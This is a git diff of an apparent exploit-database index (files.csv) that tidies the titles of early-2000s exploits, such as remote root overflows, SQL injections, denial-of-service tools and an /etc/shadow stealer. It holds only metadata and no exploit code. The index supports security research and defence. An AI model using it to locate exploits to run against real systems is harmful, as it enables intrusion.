diff --git a/files.csv b/files.csv
index 901d1bfa3..ed21f84c6 100755
--- a/files.csv
+++ b/files.csv
@@ -15,8 +15,8 @@ id,file,description,date,author,platform,type,port
 15,platforms/osx/local/15.c,"Mac OS X <= 10.2.4 DirectoryService (PATH) Local Root Exploit",2003-04-18,"Neeko Oni",osx,local,0
 16,platforms/linux/remote/16.c,"PoPToP PPTP <= 1.1.4-b3 Remote Root Exploit",2003-04-18,einstein,linux,remote,1723
 17,platforms/windows/dos/17.pl,"Xeneo Web Server 2.2.9.0 Denial of Service Exploit",2003-04-22,"Tom Ferris",windows,dos,0
-18,platforms/linux/remote/18.sh,"Snort <=1.9.1 Remote Root Exploit (p7snort191.sh)",2003-04-23,truff,linux,remote,0
-19,platforms/linux/remote/19.c,"PoPToP PPTP <= 1.1.4-b3 Remote Root Exploit  (poptop-sane.c)",2003-04-25,blightninjas,linux,remote,1723
+18,platforms/linux/remote/18.sh,"Snort <= 1.9.1 - Remote Root Exploit (p7snort191.sh)",2003-04-23,truff,linux,remote,0
+19,platforms/linux/remote/19.c,"PoPToP PPTP <= 1.1.4-b3 Remote Root Exploit (poptop-sane.c)",2003-04-25,blightninjas,linux,remote,1723
 20,platforms/windows/remote/20.txt,"MS Windows SMB Authentication Remote Exploit",2003-04-25,"Haamed Gheibi",windows,remote,139
 21,platforms/linux/local/21.c,"Qpopper 4.0.x poppassd Local Root Exploit",2003-04-29,Xpl017Elz,linux,local,0
 22,platforms/windows/dos/22.c,"Pi3Web 2.0.1 Denial of Service - Proof of Concept",2003-04-29,aT4r,windows,dos,0
@@ -84,7 +84,7 @@ id,file,description,date,author,platform,type,port
 84,platforms/linux/remote/84.c,"Gopherd <= 3.0.5 FTP Gateway Remote Overflow Exploit",2003-08-22,vade79,linux,remote,70
 86,platforms/multiple/remote/86.c,"Real Server 7/8/9 Remote Root Exploit (Windows & Linux)",2003-08-25,"Johnny Cyberpunk",multiple,remote,554
 88,platforms/linux/remote/88.c,"GtkFtpd 1.0.4 Remote Root Buffer Overflow Exploit",2003-08-28,vade79,linux,remote,21
-89,platforms/linux/remote/89.c,"Linux pam_lib_smb < 1.1.6  /bin/login Remote Exploit",2003-08-29,vertex,linux,remote,23
+89,platforms/linux/remote/89.c,"Linux pam_lib_smb < 1.1.6 /bin/login Remote Exploit",2003-08-29,vertex,linux,remote,23
 90,platforms/windows/remote/90.c,"eMule/xMule/LMule OP_SERVERMESSAGE Format String Exploit",2003-09-01,"RĂ©mi Denis-Courmont",windows,remote,4661
 91,platforms/linux/local/91.c,"Stunnel <= 3.24, 4.00 Daemon Hijacking Proof of Concept Exploit",2003-09-05,"Steve Grubb",linux,local,0
 92,platforms/windows/remote/92.c,"Microsoft WordPerfect Document Converter Exploit (MS03-036)",2003-09-06,valgasu,windows,remote,0
@@ -121,25 +121,25 @@ id,file,description,date,author,platform,type,port
 124,platforms/windows/remote/124.pl,"IA WebMail 3.x (iaregdll.dll version 1.0.0.5) Remote Exploit",2003-11-19,"Peter Winter-Smith",windows,remote,80
 125,platforms/bsd/local/125.c,"OpenBSD 2.x - 3.3 exec_ibcs2_coff_prep_zmagic() Kernel Exploit",2003-11-19,"Sinan Eren",bsd,local,0
 126,platforms/linux/remote/126.c,"Apache mod_gzip (with debug_mode) <= 1.2.26.1a Remote Exploit",2003-11-20,xCrZx,linux,remote,80
-127,platforms/windows/remote/127.pl,"Opera 7.22 File Creation and Execution Exploit (Malicious Webserver)",2003-11-22,nesumin,windows,remote,0
+127,platforms/windows/remote/127.pl,"Opera 7.22 - File Creation and Execution Exploit (Webserver)",2003-11-22,nesumin,windows,remote,0
 129,platforms/linux/local/129.asm,"Linux Kernel 2.4.22 ""do_brk()"" local Root Exploit (PoC)",2003-12-02,"Christophe Devine",linux,local,0
 130,platforms/windows/remote/130.c,"MS Windows XP Workstation Service Remote Exploit (MS03-049)",2003-12-04,fiNis,windows,remote,0
 131,platforms/linux/local/131.c,"Linux Kernel <= 2.4.22 (do_brk) Local Root Exploit (working)",2003-12-05,"Wojciech Purczynski",linux,local,0
 132,platforms/linux/remote/132.c,"Apache 1.3.*-2.0.48 mod_userdir Remote Users Disclosure Exploit",2003-12-06,m00,linux,remote,80
-133,platforms/windows/remote/133.pl,"Eznet v3.5.0 Remote Stack Overflow and Denial of Service Exploit",2003-12-15,"Peter Winter-Smith",windows,remote,80
+133,platforms/windows/remote/133.pl,"Eznet 3.5.0 - Remote Stack Overflow and Denial of Service Exploit",2003-12-15,"Peter Winter-Smith",windows,remote,80
 134,platforms/hp-ux/local/134.c,"HP-UX B11.11 /usr/bin/ct Local Format String Root Exploit",2003-12-16,watercloud,hp-ux,local,0
 135,platforms/windows/remote/135.c,"MS Windows Messenger Service Remote Exploit FR (MS03-043)",2003-12-16,MrNice,windows,remote,135
 136,platforms/windows/remote/136.pl,"Eznet 3.5.0 Remote Stack Overflow Universal Exploit",2003-12-18,kralor,windows,remote,80
 137,platforms/php/webapps/137.pl,"phpBB 2.0.6 search_id sql injection MD5 Hash Remote Exploit",2003-12-21,RusH,php,webapps,0
 138,platforms/php/webapps/138.pl,"PHP-NUKE version <= 6.9 'cid' sql injection Remote Exploit",2003-12-21,RusH,php,webapps,0
-139,platforms/linux/remote/139.c,"Cyrus IMSPD v1.7 abook_dbname Remote Root Exploit",2003-12-27,SpikE,linux,remote,406
-140,platforms/linux/local/140.c,"Xsok v1.02 ""-xsokdir"" local buffer overflow game exploit",2004-01-02,c0wboy,linux,local,0
+139,platforms/linux/remote/139.c,"Cyrus IMSPD 1.7 - abook_dbname Remote Root Exploit",2003-12-27,SpikE,linux,remote,406
+140,platforms/linux/local/140.c,"Xsok 1.02 - ""-xsokdir"" Local Buffer Overflow Game Exploit",2004-01-02,c0wboy,linux,local,0
 141,platforms/linux/local/141.c,"Linux Kernel ""do_mremap"" Local Proof of Concept",2004-01-06,"Christophe Devine",linux,local,0
 142,platforms/linux/local/142.c,"Linux Kernel ""do_mremap"" Local Proof of Concept II",2004-01-07,"Christophe Devine",linux,local,0
 143,platforms/linux/remote/143.c,"lftp <= 2.6.9 Remote Stack based Overflow Exploit",2004-01-14,Li0n7,linux,remote,0
 144,platforms/linux/local/144.c,"SuSE linux 9.0 YaST config Skribt Local Exploit",2004-01-15,l0om,linux,local,0
 145,platforms/linux/local/145.c,"Linux Kernel 2.4.x mremap() bound checking Root Exploit",2004-01-15,"Paul Starzetz",linux,local,0
-146,platforms/multiple/dos/146.c,"Brute forcer for OpenSSL ASN.1 parsing bugs (<=0.9.6j <=0.9.7b)",2003-10-09,"Bram Matthys",multiple,dos,0
+146,platforms/multiple/dos/146.c,"OpenSSL ASN.1<= 0.9.6j <= 0.9.7b - Brute Forcer for Parsing Bugs",2003-10-09,"Bram Matthys",multiple,dos,0
 147,platforms/windows/dos/147.c,"Need for Speed 2 Remote Client Buffer Overflow Exploit",2004-01-23,"Luigi Auriemma",windows,dos,0
 148,platforms/windows/dos/148.sh,"MS Windows XP/2003 Samba Share Resource Exhaustion Exploit",2004-01-25,"Steve Ladjabi",windows,dos,0
 149,platforms/windows/remote/149.c,"Serv-U FTPD 3.x/4.x ""SITE CHMOD"" Command Remote Exploit",2004-01-27,lion,windows,remote,21
@@ -168,7 +168,7 @@ id,file,description,date,author,platform,type,port
 174,platforms/linux/remote/174.c,"Monit <= 4.2 Remote Root Buffer Overflow Exploit",2004-04-12,"Abhisek Datta",linux,remote,2812
 175,platforms/windows/remote/175.pl,"eMule <= 0.42d IRC Remote Buffer Overflow Exploit",2004-04-12,Kingcope,windows,remote,0
 176,platforms/windows/dos/176.c,"MS Windows IIS SSL Remote Denial of Service Exploit (MS04-011)",2004-04-14,"David Barroso",windows,dos,0
-177,platforms/cgi/webapps/177.pl,"Poll It CGI v2.0 exploit",2000-11-15,keelis,cgi,webapps,0
+177,platforms/cgi/webapps/177.pl,"Poll It CGI 2.0 - exploit",2000-11-15,keelis,cgi,webapps,0
 178,platforms/linux/local/178.c,"traceroute Local Root Exploit",2000-11-15,"Michel Kaempf",linux,local,0
 179,platforms/cgi/webapps/179.c,"News Update 1.1 Change Admin Password",2000-11-15,morpheus[bd],cgi,webapps,0
 180,platforms/linux/local/180.c,"GnomeHack 1.0.5 Local Buffer Overflow Exploit",2000-11-15,vade79,linux,local,0
@@ -178,7 +178,7 @@ id,file,description,date,author,platform,type,port
 184,platforms/linux/local/184.pl,"Restore and Dump Local Exploit",2000-11-16,Tlabs,linux,local,0
 185,platforms/linux/dos/185.sh,"Slackware Linux /usr/bin/ppp-off Insecure /tmp Call Exploit",2000-11-17,sinfony,linux,dos,0
 186,platforms/linux/local/186.pl,"xsplumber - strcpy() buffer overflow",2000-11-17,vade79,linux,local,0
-187,platforms/cgi/webapps/187.pl,"ListMail v112 - Command Execution",2000-11-17,teleh0r,cgi,webapps,0
+187,platforms/cgi/webapps/187.pl,"ListMail 112 - Command Execution",2000-11-17,teleh0r,cgi,webapps,0
 188,platforms/cgi/webapps/188.pl,"UtilMind Mail List 1.7 - Users Can Execute Commands",2000-11-17,teleh0r,cgi,webapps,0
 189,platforms/windows/remote/189.c,"MS IIS 4.0/5.0 and PWS Extended Unicode Directory Traversal Vulnerability (6)",2000-11-18,incubus,windows,remote,80
 190,platforms/windows/remote/190.c,"MS IIS 4.0/5.0 and PWS Extended Unicode Directory Traversal Vulnerability (9)",2000-11-18,optyx,windows,remote,80
@@ -204,7 +204,7 @@ id,file,description,date,author,platform,type,port
 213,platforms/solaris/remote/213.c,"Solaris sadmind Remote Buffer Overflow Exploit",2000-12-01,optyx,solaris,remote,111
 214,platforms/windows/dos/214.c,"MS Windows (Jolt2.c) Denial of Service Exploit",2000-12-02,phonix,windows,dos,0
 215,platforms/linux/local/215.c,"mount exploit for glibc locale bug",2000-12-02,sk8,linux,local,0
-216,platforms/linux/local/216.c,"dislocate - Local i386 exploit in v1.3",2000-12-02,"Michel Kaempf",linux,local,0
+216,platforms/linux/local/216.c,"dislocate 1.3 - Local i386 Exploit",2000-12-02,"Michel Kaempf",linux,local,0
 217,platforms/linux/local/217.c,"UUCP Exploit - file creation/overwriting (symlinks)",2000-12-04,t--zen,linux,local,0
 218,platforms/linux/local/218.c,"expect (/usr/bin/expect) buffer overflow",2000-12-04,isox,linux,local,0
 219,platforms/linux/local/219.c,"GnomeHack Local Buffer Overflow Exploit (gid=games)",2000-12-04,"Cody Tubbs",linux,local,0
@@ -221,7 +221,7 @@ id,file,description,date,author,platform,type,port
 232,platforms/windows/remote/232.c,"Check Point VPN-1/FireWall-1 4.1 SP2 Blocked Port Bypass Exploit",2000-12-19,unknown,windows,remote,0
 233,platforms/windows/dos/233.pl,"Solaris 2.7 / 2.8 Catman - Local Insecure tmp Symlink Exploit",2000-12-19,"Shane Hird",windows,dos,0
 234,platforms/bsd/remote/234.c,"OpenBSD 2.6 / 2.7ftpd Remote Exploit",2000-12-20,Scrippie,bsd,remote,21
-235,platforms/solaris/dos/235.pl,"SunOS 5.7  Catman - Local Insecure tmp Symlink Clobber Exploit",2000-12-20,lwc,solaris,dos,0
+235,platforms/solaris/dos/235.pl,"SunOS 5.7 Catman - Local Insecure tmp Symlink Clobber Exploit",2000-12-20,lwc,solaris,dos,0
 236,platforms/linux/dos/236.sh,"Redhat 6.1 / 6.2 TTY Flood Users Exploit",2001-01-02,teleh0r,linux,dos,0
 237,platforms/linux/remote/237.c,"Linux Kernel 2.2 (TCP/IP Weakness) Exploit",2001-01-02,Stealth,linux,remote,513
 238,platforms/linux/dos/238.c,"ml2 - local users can crash processes",2001-01-03,Stealth,linux,dos,0
@@ -236,13 +236,13 @@ id,file,description,date,author,platform,type,port
 249,platforms/linux/local/249.c,"GLIBC locale format strings exploit",2003-01-15,logikal,linux,local,0
 250,platforms/solaris/local/250.c,"Solaris 7 / 8-beta arp Local Overflow Exploit",2001-01-15,ahmed,solaris,local,0
 251,platforms/linux/dos/251.c,"APC UPS 3.7.2 (apcupsd) Local Denial of Service Exploit",2001-01-15,"the itch",linux,dos,0
-252,platforms/linux/local/252.pl,"Seyon Exploit / Tested Version 2.1 rev. 4b i586-Linux",2001-01-15,teleh0r,linux,local,0
-253,platforms/linux/remote/253.pl,"IMAP4rev1 10.190 Authentication Stack Overflow Exploit",2001-01-19,teleh0r,linux,remote,143
+252,platforms/linux/local/252.pl,"Seyon 2.1 rev. 4b i586-Linux Exploit",2001-01-15,teleh0r,linux,local,0
+253,platforms/linux/remote/253.pl,"IMAP4rev1 10.190 - Authentication Stack Overflow Exploit",2001-01-19,teleh0r,linux,remote,143
 254,platforms/hardware/remote/254.c,"Cisco Password Bruteforcer Exploit",2001-01-19,norby,hardware,remote,23
 255,platforms/linux/local/255.pl,"Redhat 6.1 man Local Exploit (egid 15)",2001-01-19,teleh0r,linux,local,0
 256,platforms/solaris/local/256.c,"Solaris 2.6 / 2.7 /usr/bin/write Local Overflow Exploit",2001-01-25,"Pablo Sor",solaris,local,0
 257,platforms/linux/local/257.pl,"jaZip 0.32-2 Local Buffer Overflow Exploit",2001-01-25,teleh0r,linux,local,0
-258,platforms/linux/local/258.sh,"glibc-2.2 and openssh-2.3.0p1 exploits glibc >= 2.1.9x",2001-01-25,krochos,linux,local,0
+258,platforms/linux/local/258.sh,"glibc-2.2 and openssh-2.3.0p1 exploits glibc => 2.1.9x",2001-01-25,krochos,linux,local,0
 259,platforms/tru64/local/259.c,"Tru64 5 (su) Env Local Stack Overflow Exploit",2001-01-26,k2,tru64,local,0
 260,platforms/linux/local/260.c,"splitvt < 1.6.5 Local Exploit",2001-01-26,"Michel Kaempf",linux,local,0
 261,platforms/sco/local/261.c,"SCO OpenServer 5.0.5 Env Local Stack Overflow Exploit",2001-01-26,k2,sco,local,0
@@ -265,7 +265,7 @@ id,file,description,date,author,platform,type,port
 280,platforms/solaris/remote/280.c,"BIND 8.2.x (TSIG) Remote Root Stack Overflow Exploit (3)",2001-03-01,LSD-PLaNET,solaris,remote,53
 281,platforms/tru64/local/281.c,"Tru64 UNIX 4.0g /usr/bin/at Local Root Exploit",2001-03-02,"Cody Tubbs",tru64,local,0
 282,platforms/linux/remote/282.c,"BIND 8.2.x (TSIG) Remote Root Stack Overflow Exploit (4)",2001-03-02,multiple,linux,remote,53
-284,platforms/linux/remote/284.c,"IMAP4rev1 12.261/12.264/2000.284 (lsub) Remote Exploit",2001-03-03,SkyLaZarT,linux,remote,143
+284,platforms/linux/remote/284.c,"IMAP4rev1 12.261/12.264/2000.284 - (lsub) Remote Exploit",2001-03-03,SkyLaZarT,linux,remote,143
 285,platforms/linux/local/285.c,"Slackware 7.1 /usr/bin/mail Local Exploit",2001-03-03,kengz,linux,local,0
 286,platforms/bsd/local/286.c,"FreeBSD 3.5.1/4.2 ports package xklock local root exploit",2001-03-03,dethy,bsd,local,0
 287,platforms/bsd/local/287.c,"FreeBSD 3.5.1/4.2 Ports Package elvrec Local Root Exploit",2001-03-03,dethy,bsd,local,0
@@ -346,7 +346,7 @@ id,file,description,date,author,platform,type,port
 371,platforms/linux/dos/371.c,"Apache HTTPd Arbitrary Long HTTP Headers DoS (c version)",2004-08-02,n/a,linux,dos,0
 372,platforms/linux/remote/372.c,"OpenFTPD (<= 0.30.2) Remote Exploit",2004-08-03,andi,linux,remote,21
 373,platforms/linux/remote/373.c,"OpenFTPD <= 0.30.1 (message system) Remote Shell Exploit",2004-08-04,infamous41md,linux,remote,21
-374,platforms/linux/local/374.c,"SoX Local Buffer Overflow Exploiter (Via Crafted WAV File)",2004-08-04,Rave,linux,local,0
+374,platforms/linux/local/374.c,"SoX - (.wav) Local Buffer Overflow Exploiter",2004-08-04,Rave,linux,local,0
 375,platforms/linux/local/375.c,"Linux Kernel File Offset Pointer Handling Memory Disclosure Exploit",2004-08-04,"Paul Starzetz",linux,local,0
 376,platforms/windows/dos/376.html,"MS Internet Explorer Remote Null Pointer Crash (mshtml.dll)",2004-08-04,n/a,windows,dos,0
 378,platforms/windows/remote/378.pl,"BlackJumboDog Remote Buffer Overflow Exploit",2004-08-05,"Tal Zeltzer",windows,remote,21
@@ -381,7 +381,7 @@ id,file,description,date,author,platform,type,port
 408,platforms/linux/remote/408.c,"Qt BMP Parsing Bug Heap Overflow Exploit",2004-08-21,infamous41md,linux,remote,0
 409,platforms/bsd/remote/409.c,"BSD (telnetd) Remote Root Exploit",2001-06-09,Teso,bsd,remote,23
 411,platforms/linux/local/411.c,"Sendmail 8.11.x Exploit (i386-Linux)",2001-01-01,sd,linux,local,0
-413,platforms/linux/remote/413.c,"MusicDaemon <= 0.0.3 v2 Remote DoS and /etc/shadow Stealer",2004-08-24,Tal0n,linux,remote,0
+413,platforms/linux/remote/413.c,"MusicDaemon <= 0.0.3 - Remote DoS and /etc/shadow Stealer (2)",2004-08-24,Tal0n,linux,remote,0
 416,platforms/linux/remote/416.c,"Hafiye 1.0 Remote Terminal Escape Sequence Injection Vulnerability",2004-08-25,"Serkan Akpolat",linux,remote,0
 417,platforms/linux/local/417.c,"SquirrelMail (chpasswd) Local Root Bruteforce Exploit",2004-08-25,Bytes,linux,local,0
 418,platforms/windows/remote/418.c,"Winamp <= 5.04 Skin File (.wsz) Remote Code Execution Exploit",2004-08-25,"Petrol Designs",windows,remote,0
@@ -481,7 +481,7 @@ id,file,description,date,author,platform,type,port
 625,platforms/windows/dos/625.pl,"WinFTP Server 1.6 Denial of Service Exploit",2004-11-11,KaGra,windows,dos,0
 626,platforms/windows/dos/626.c,"Kerio Personal Firewall <= 4.1.1 Multiple IP Options DoS Exploit",2004-11-12,houseofdabus,windows,dos,0
 627,platforms/windows/remote/627.pl,"IPSwitch IMail 8.13 (DELETE) Remote Stack Overflow Exploit",2004-11-12,Zatlander,windows,remote,143
-628,platforms/windows/dos/628.c,"NetNote Server (<= 2.2 build 230) Crafted String DoS Exploit",2004-11-13,class101,windows,dos,0
+628,platforms/windows/dos/628.c,"NetNote Server <= 2.2 build 230 - Crafted String DoS Exploit",2004-11-13,class101,windows,dos,0
 629,platforms/multiple/local/629.c,"Multiple AntiVirus (zip file) Detection Bypass Exploit",2004-11-14,oc192,multiple,local,0
 630,platforms/php/webapps/630.pl,"UBB.threads 6.2.*-6.3.* one char bruteforce exploit",2004-11-15,RusH,php,webapps,0
 631,platforms/php/webapps/631.txt,"vBulletin LAST.PHP SQL Injection Vulnerability",2004-11-15,n/a,php,webapps,0
@@ -494,11 +494,11 @@ id,file,description,date,author,platform,type,port
 641,platforms/windows/remote/641.txt,"MS Internet Explorer 6.0 SP2 File Download Security Warning Bypass",2004-11-19,cyber_flash,windows,remote,0
 642,platforms/cgi/webapps/642.pl,"TWiki 20030201 search.pm Remote Command Execution Exploit",2004-11-20,RoMaNSoFt,cgi,webapps,0
 643,platforms/windows/remote/643.c,"SLMAIL 5.5 POP3 PASS - Remote Buffer Overflow Exploit",2004-12-21,"Haroon Rashid Astwat",windows,remote,0
-644,platforms/windows/remote/644.pl,"DMS POP3 Server (1.5.3 build 37) Buffer Overflow Exploit",2004-11-21,"Reed Arvin",windows,remote,110
+644,platforms/windows/remote/644.pl,"DMS POP3 Server 1.5.3 build 37 - Buffer Overflow Exploit",2004-11-21,"Reed Arvin",windows,remote,110
 645,platforms/php/webapps/645.pl,"GFHost PHP GMail Remote Command Execution Exploit",2004-11-21,spabam,php,webapps,0
 646,platforms/windows/remote/646.c,"SLMail 5.5 - Remote Buffer Overflow Exploit",2004-12-22,"Ivan Ivanovic",windows,remote,0
 647,platforms/php/webapps/647.pl,"phpBB <= 2.0.10 Remote Command Execution Exploit",2004-11-22,RusH,php,webapps,0
-648,platforms/php/webapps/648.pl,"Invision Power Board v2.0.0 - 2.0.2 Sql Injection Exploit",2004-11-22,RusH,php,webapps,0
+648,platforms/php/webapps/648.pl,"Invision Power Board 2.0.0 - 2.0.2 - Sql Injection Exploit",2004-11-22,RusH,php,webapps,0
 649,platforms/windows/dos/649.c,"wodFtpDLX Client ActiveX Control Buffer Overflow Crash Exploit",2004-11-22,Komrade,windows,dos,0
 650,platforms/windows/remote/650.c,"CoffeeCup FTP Clients (Direct <= 6.2.0.62) (Free <= 3.0.0.10) BoF Exploit",2004-11-22,Komrade,windows,remote,0
 651,platforms/windows/dos/651.c,"Halo <= 1.05 Broadcast Client Crash Exploit",2004-11-22,"Luigi Auriemma",windows,dos,0
@@ -517,18 +517,18 @@ id,file,description,date,author,platform,type,port
 667,platforms/windows/dos/667.c,"Jana Server <= 2.4.4 (http/pna) Denial of Service Exploit",2004-11-30,"Luigi Auriemma",windows,dos,0
 668,platforms/windows/remote/668.c,"Mercury Mail 4.01 (Pegasus) IMAP Buffer Overflow Exploit (c code)",2004-11-30,JohnH,windows,remote,143
 669,platforms/linux/local/669.c,"Aspell (word-list-compress) Command Line Stack Overflow",2004-12-01,c0d3r,linux,local,0
-670,platforms/windows/remote/670.c,"Mercury Mail 4.01 (Pegasus) IMAP Buffer Overflow v2 (c code)",2004-12-01,JohnH,windows,remote,143
+670,platforms/windows/remote/670.c,"Mercury Mail 4.01 - (Pegasus) IMAP Buffer Overflow (2) (c code)",2004-12-01,JohnH,windows,remote,143
 671,platforms/windows/dos/671.c,"Neverwinter Nights special Fake Players Denial of Service Exploit",2004-12-01,"Luigi Auriemma",windows,dos,0
 672,platforms/windows/dos/672.c,"Kreed <= 1.05 Format String and Denial of Service Exploit",2004-12-02,"Luigi Auriemma",windows,dos,0
 673,platforms/php/webapps/673.cgi,"phpBB <= 2.0.10 Remote Command Execution Exploit (cgi version)",2004-12-03,ZzagorR,php,webapps,0
 675,platforms/windows/remote/675.txt,"Hosting Controller <= 0.6.1 Hotfix 1.4 Directory Browsing Vulnerability",2004-12-05,Mouse,windows,remote,0
-676,platforms/php/webapps/676.c,"phpBB v1.0.0 - 2.0.10 admin_cash.php remote exploit",2004-12-05,evilrabbi,php,webapps,0
+676,platforms/php/webapps/676.c,"phpBB 1.0.0 & 2.0.10 - admin_cash.php Remote Exploit",2004-12-05,evilrabbi,php,webapps,0
 677,platforms/windows/dos/677.txt,"GetRight <= 5.2a Skin File (*.grs) Buffer Overflow Exploit",2004-12-06,ATmaCA,windows,dos,0
-679,platforms/windows/dos/679.c,"Battlefield 1942 <= 1.6.19 and Vietnam <= 1.2 Broadcast Client Crash",2004-12-07,"Luigi Auriemma",windows,dos,0
+679,platforms/windows/dos/679.c,"Battlefield 1942 <= 1.6.19 + Vietnam <= 1.2 - Broadcast Client Crash",2004-12-07,"Luigi Auriemma",windows,dos,0
 680,platforms/osx/local/680.txt,"Mac OS X Adobe Version Cue Local Root Exploit",2004-12-08,"Jonathan Bringhurst",osx,local,0
 681,platforms/linux/remote/681.c,"Citadel/UX <= 6.27 Remote Root Format String Exploit",2004-12-12,CoKi,linux,remote,504
 682,platforms/windows/dos/682.c,"Codename Eagle <= 1.42 Socket Unreacheable DoS Exploit",2004-12-13,"Luigi Auriemma",windows,dos,0
-683,platforms/windows/dos/683.c,"Lithtech Engine (new protocol) Socket Unreacheable DoS",2004-12-13,"Luigi Auriemma",windows,dos,0
+683,platforms/windows/dos/683.c,"Lithtech Engine (new protocol) - Socket Unreacheable DoS",2004-12-13,"Luigi Auriemma",windows,dos,0
 684,platforms/linux/local/684.c,"TipxD <= 1.1.1 Local Format String Vulnerability (not setuid)",2004-12-14,CoKi,linux,local,0
 685,platforms/linux/dos/685.c,"Linux Kernel <= 2.4.28 and <= 2.6.9 scm_send local DoS Exploit",2004-12-14,"Paul Starzetz",linux,dos,0
 686,platforms/linux/dos/686.c,"Linux Kernel (<= 2.6.9, 2.4.22-28) (igmp.c) Local Denial of Service Exploit",2004-12-14,"Paul Starzetz",linux,dos,0
@@ -561,7 +561,7 @@ id,file,description,date,author,platform,type,port
 720,platforms/php/webapps/720.pl,"Sanity.b - phpBB <= 2.0.10 Bot Install (AOL/Yahoo Search)",2004-12-25,n/a,php,webapps,0
 721,platforms/windows/dos/721.html,"MS Windows Kernel ANI File Parsing Crash Vulnerability",2004-12-25,Flashsky,windows,dos,0
 725,platforms/php/webapps/725.pl,"PhpInclude.Worm - PHP Scripts Automated Arbitrary File Inclusion",2004-12-25,n/a,php,webapps,0
-726,platforms/windows/remote/726.c,"Netcat v1.1 ""-e"" Switch Remote Buffer Overflow Exploit",2004-12-26,class101,windows,remote,0
+726,platforms/windows/remote/726.c,"Netcat v1.1 - ""-e"" Switch Remote Buffer Overflow Exploit",2004-12-26,class101,windows,remote,0
 729,platforms/windows/remote/729.txt,"PHP <= 4.3.7 openlog() Buffer Overflow Exploit",2004-12-28,"The Warlock [BhQ]",windows,remote,80
 730,platforms/windows/remote/730.html,"MS Internet Explorer Remote Code Execution with Parameters - PoC",2004-12-28,ShredderSub7,windows,remote,0
 733,platforms/windows/remote/733.c,"MS Windows 2000 WINS Remote Code Execution Exploit",2004-12-31,zuc,windows,remote,42
@@ -575,8 +575,8 @@ id,file,description,date,author,platform,type,port
 742,platforms/windows/dos/742.c,"Gore <= 1.50 Socket Unreacheable Denial of Service Exploit",2005-01-06,"Luigi Auriemma",windows,dos,0
 743,platforms/windows/dos/743.html,"Norton Antivirus < 2005 Remote Stack Overflow Exploit",2005-01-06,"Rafel Ivgi",windows,dos,0
 744,platforms/linux/local/744.c,"Linux Kernel <= 2.4.29-rc2 uselib() Privilege Elevation",2005-01-07,"Paul Starzetz",linux,local,0
-745,platforms/multiple/remote/745.cgi,"Webmin Web Brute Force v1.5 (cgi-version)",2005-01-08,ZzagorR,multiple,remote,10000
-746,platforms/multiple/remote/746.pl,"Webmin BruteForce + Command Execution v1.5",2005-01-08,ZzagorR,multiple,remote,10000
+745,platforms/multiple/remote/745.cgi,"Webmin 1.5 - Web Brute Force (cgi-version)",2005-01-08,ZzagorR,multiple,remote,10000
+746,platforms/multiple/remote/746.pl,"Webmin 1.5 - BruteForce + Command Execution",2005-01-08,ZzagorR,multiple,remote,10000
 749,platforms/windows/local/749.cpp,"MS Windows Improper Token Validation Local Exploit (working)",2005-01-11,"Cesar Cerrudo",windows,local,0
 750,platforms/windows/remote/750.c,"Veritas Backup Exec Agent 8.x/9.x Browser Overflow (c version)",2005-01-11,class101,windows,remote,6101
 753,platforms/windows/remote/753.html,"MS Internet Explorer .ANI Remote Stack Overflow (0.2)",2005-01-12,SkyLined,windows,remote,0
@@ -589,7 +589,7 @@ id,file,description,date,author,platform,type,port
 761,platforms/windows/remote/761.cpp,"NodeManager Professional 2.00 Buffer Overflow Vulnerability",2005-01-18,"Tan Chew Keong",windows,remote,162
 762,platforms/osx/dos/762.c,"Mac OS X <= 10.3.7 Input Validation Flaw parse_machfile() DoS",2005-01-20,nemo,osx,dos,0
 763,platforms/linux/local/763.c,"fkey <= 0.0.2 Local File Accessibility Exploit",2005-01-20,vade79,linux,local,79
-764,platforms/linux/remote/764.c,"Apache OpenSSL Remote Exploit (Multiple Targets) (OpenFuckV2.c)",2003-04-04,spabam,linux,remote,80
+764,platforms/linux/remote/764.c,"Apache OpenSSL - Remote Exploit (Multiple Targets) (OpenFuckV2.c)",2003-04-04,spabam,linux,remote,80
 765,platforms/windows/remote/765.c,"MS Internet Explorer .ANI files handling Universal Exploit (MS05-002)",2005-01-22,houseofdabus,windows,remote,0
 766,platforms/osx/local/766.c,"Mac OS X <= 10.3.7 mRouter Local Privilege Escalation Exploit",2005-01-22,nemo,osx,local,0
 767,platforms/windows/remote/767.pl,"Golden FTP Server <= 2.02b Remote Buffer Overflow Exploit",2005-01-22,Barabas,windows,remote,21
@@ -608,7 +608,7 @@ id,file,description,date,author,platform,type,port
 782,platforms/windows/dos/782.pl,"TinyWeb 1.9 Denial of Service Exploit",2005-02-01,Karak0rsan,windows,dos,80
 783,platforms/windows/dos/783.c,"Painkiller <= 1.35 in-game cd-key alpha-numeric Buffer Overflow Exploit",2005-02-02,"Luigi Auriemma",windows,dos,0
 784,platforms/linux/remote/784.c,"ngIRCd <= 0.8.2 Remote Format String Exploit",2005-02-03,CoKi,linux,remote,6667
-785,platforms/linux/remote/785.c,"Newspost 2.1 socket_getline() Remote Buffer Overflow Exploit v2",2005-02-03,cybertronic,linux,remote,119
+785,platforms/linux/remote/785.c,"Newspost 2.1 - socket_getline() Remote Buffer Overflow Exploit (2)",2005-02-03,cybertronic,linux,remote,119
 786,platforms/php/webapps/786.pl,"LiteForum 2.1.1 sql injection exploit",2005-02-04,RusH,php,webapps,0
 787,platforms/windows/remote/787.pl,"Savant Web Server 3.1 Remote Buffer OverflowExploit (win2003)",2005-02-04,CorryL,windows,remote,80
 788,platforms/linux/local/788.pl,"Operator Shell (osh) 1.7-12 Local Root Exploit",2005-02-05,"Charles Stevenson",linux,local,0
@@ -624,9 +624,9 @@ id,file,description,date,author,platform,type,port
 798,platforms/windows/local/798.c,"DelphiTurk CodeBank 3.1 Local Username and Password Disclosure",2005-02-08,Kozan,windows,local,0
 799,platforms/osx/dos/799.c,"Mac OS X AppleFileServer Remote Denial of Service Exploit",2005-02-08,nemo,osx,dos,0
 800,platforms/php/webapps/800.txt,"PostNuke PostWrap Module Remote Exploit",2005-02-08,"ALBANIA SECURITY",php,webapps,0
-801,platforms/php/webapps/801.c,"PHP-Nuke v7.4 admin exploit (old exploit)",2005-02-09,Silentium,php,webapps,0
+801,platforms/php/webapps/801.c,"PHP-Nuke 7.4 - Admin Exploit",2005-02-09,Silentium,php,webapps,0
 802,platforms/windows/remote/802.cpp,"MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit",2005-02-09,ATmaCA,windows,remote,0
-803,platforms/windows/local/803.c,"DelphiTurk FTP v1.0 Passwords to Local Users Exploit",2005-02-09,Kozan,windows,local,0
+803,platforms/windows/local/803.c,"DelphiTurk FTP 1.0 - Passwords to Local Users Exploit",2005-02-09,Kozan,windows,local,0
